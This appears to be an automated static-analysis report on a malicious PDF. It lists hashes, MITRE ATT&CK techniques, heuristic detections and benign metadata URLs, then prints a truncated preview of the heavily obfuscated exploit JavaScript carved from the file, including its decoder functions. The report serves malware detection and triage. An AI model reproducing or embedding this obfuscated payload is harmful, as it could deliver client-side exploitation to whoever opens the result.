Malicious PDF — malware analysis report

Static analysis result for SHA-256 7382715588330816…

MALICIOUS

PDF

35.5 KB Authoring application: 204G159G162G204G195G168G207G153G207G144G198G159G198G159G198G159G198G153G198G159G147G198G198G153G147G201G204G159G150G204G198G159G147G198G198G153G153G156G144G201G165G207G147G195G147G198G147G198G150G159G
MD5: 372a7a55fbb2430fd51ecde277c1b109 SHA-1: c44e710209888852c5206e4dcb1f8cec5b646cb9 SHA-256: 73827155883308169fcb331d5aeec8f4cccbfb300d826462fb16f1fa554d9ad0
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is flagged as an exploit cluster. The JavaScript is heavily obfuscated using string concatenation, making it difficult to determine the exact payload. However, the presence of JavaScript and the ML classifier's high confidence indicate a malicious intent, likely to download and execute a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0099_000.js
e93b9341dfb5240c48a9ec4b584493707a7aad4e6c0c024a2d6825c29e7f5f4f		 pdf-javascript-stream PDF /JS object 99 at offset 0x7F91 11109 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function rhjahahagk(){
var fdjkghajklsdfhldskhfk="G198G147G198"+"G147G198G162G165G"+"150G153G207G144"+"G204G159G150G204G16"+"2G204G144G147G198"+"G147G198G159G198"+"G159G168G207G2"+"01G201G198G15"+"9G147G198G198G153"+"G147G156G195G14"+"7G207G198G159G195"+"G198G147G207G156"+"G204G201G147G162"+"G171G147G147G"+"153G150G153"+"G195G147G207G1"+"56G198G168G168G1"+"71G171G165G201G195G150"+"G153G195G147G207G"+"144G168G147G171G"+"201G168G147G207G156G1"+"62G204G144G14"+"7G168G150G159"+"G210G207G144G207"+"G156G168G150G195G2"+"10G168G150G162G165"+"G147G210G207G15"+"6G207G198G162G1"+"44G150G207G207G156"+"G207G156G2"+"07G156G204G159G150"+"G204G198G159G19"+"8G159G198G147G19"+"8G153G198G159G147G1"+"98G198G153G147G201"+"G162G165G147G201"+"G207G156G171G"+"147G144G147G16"+"8G207G207G144G168G2"+"01G207G156G210G156G20"+"7G156G207G156G168"+"G201G207G156G201G156G195"+"G195G207G156G168G"+"207G207G156"+"G147G198G198G153G153G"+"144G162G204G150G"+"150G204G159G150G204G"+"198G159G168G207G198G"+"156G168G207G207G"+"165G198G159G198G"+"159G168G201G207G"+"156G207G156G207G15"+"6G150G156G198G147G147G198"+"G198G153G153G201G"+"162G204G195G153G144G168G1"+"98G147G162G204G147G147G204G15"+"9G150G204G16"+"2G204G147G2"+"01G162G165G144G"+"201G207G144G198G159G198G"+"156G168G201G201"+"G144G210G156G207G156G"+"207G156G198G147G147"+"G198G171G153G144G"+"168G147G198G198G"+"153G153G168G207G165"+"G168G198G147G168G162"+"G165G171G198G147G168G207G"+"156G171G147G144G162"+"G162G204G147G"+"159G195G204G195G159"+"G204G204G144G2"+"04G171G144G207G201G195G159G"+"162G156G204G159G204G165"+"G204G204G144G204"+"G171G147G147G165G204"+"G159G150G204G198"+"G159G198G159G198G159"+"G147G198G171G153G144G168G147"+"G198G198G153G144G156G20"+"4G159G150G204G162G204G"+"147G201G162G165G14"+"4G201G207G144G201"+"G204G147G147G198G1"+"59G198G156G198G14"+"7G198G150G147G198"+"G171G153G144G168G"+"147G198G198G153G144"+"G144G147G198"+"G171G153G144G168G"+"147G198G198G153G1"+"44G201G168G150G159G210G"+"207G150G207G156G168"+"G150G195G210G168"+"G150G162G165G147G210G"+"207G156G171G144G2"+"04G162G204G15"+"9G150G204G198G1"+"71G168G207G207G1"+"47G198G159G198G15"+"9G198G147G198G159G"+"198G159G147G198G198"+"G153G147G144G"+"162G165G147G201G201"+"G156G171G195G144"+"G150G204G159G150G156G204"+"G159G150G204G195G156G207"+"G198G159G195G210G144"+"G207G153G2"+"04G201"+"G147G162G171"+"G147G147G153G150"+"G153G207G14"+"4G207G153G2"+"01G150G168G150"+"G204G171G";
function dec(input2) {var asdf =Fde(input2) ; var asfdsad = hex2a(asdf); return asfdsad;}
function sadfjsadkl(str){return str.replace(/G/g,",");}
var ss="354G291G342G96G213G177G"+"306G351G330G2"+"97G348G315G333G330"+"G96G312G303G360"+"G150G294G315G3"+"30G120G342G303"+"G345G123G96G369"+"G30G96G96G96"+"G96G354G291G3"+"42G96G315G177G"+"30G96G96G96G96"+"G354G291G342G9"+"6G309G96G183G96G23"+"1G291G348G312G138"+"G342G333G351G33"+"0G300G120G342G"+"303G345G138G3"+"24G303G330G309"+"G348G312G141"+"G156G123G177G30G"+"96G96G96G96G3"+"15G306G96G120G3"+"09G96G99G183G96G"+"120G342G303G345G1"+"38G324G303G330G3"+"09G348G312G141G"+"156G123G123G96G"+"342G303G345G96"+"G183G96G342G303"+"G345G96G129G9"+"6G102G144G144G102G1"+"77G30G96G96G96G"+"96G354G291G34"+"2G96G333G351G348"+"G96G183G96G102G102G177"+"G30G96G96G96G96"+"G306G333G342G96G1"+"20G315G183G144G177G9"+"6G315G180G342G"+"303G345G138G32"+"4G303G330G309G3"+"48G312G177G96G315G129"+"G183G156G123G96G369G"+"30G96G96G96G96G96G96G9"+"6G96G333G351G34"+"8G96G183G96G333"+"G351G348G96G12"+"9G96G102G111G351G"+"102G96G129G96"+"G342G303G345G13"+"8G345G351G294G"+"345G348G342G12"+"0G315G129G150G13"+"2G150G123G96"+"G129G96G342G"+"303G345G138G345"+"G351G294G345G348G"+"342G120G315G132G1"+"50G123G177G30G96G"+"96G96G96G375G3"+"0G96G96G96G96G3"+"42G303G348G3"+"51G342G330G96"+"G351G330G303G"+"345G297G291G336"+"G303G120G333G351G"+"348G123G177G30G"+"375G30G30G306G35"+"1G330G297G348G315G33"+"3G330G96G360G33"+"3G342G120G345G348G3"+"42G132G321G303G363G123"+"G96G369G30G27G354G29"+"1G342G96G333G351G"+"348G336G351G348G96G18"+"3G96G117G117G17"+"7G30G27G354G291G342"+"G96G330G303G360G"+"348G96G183G96G"+"117G117G177G30G27G3"+"54G291G342G96G"+"324G303G330G309G348G"+"312G96G183G96G3
... (truncated)

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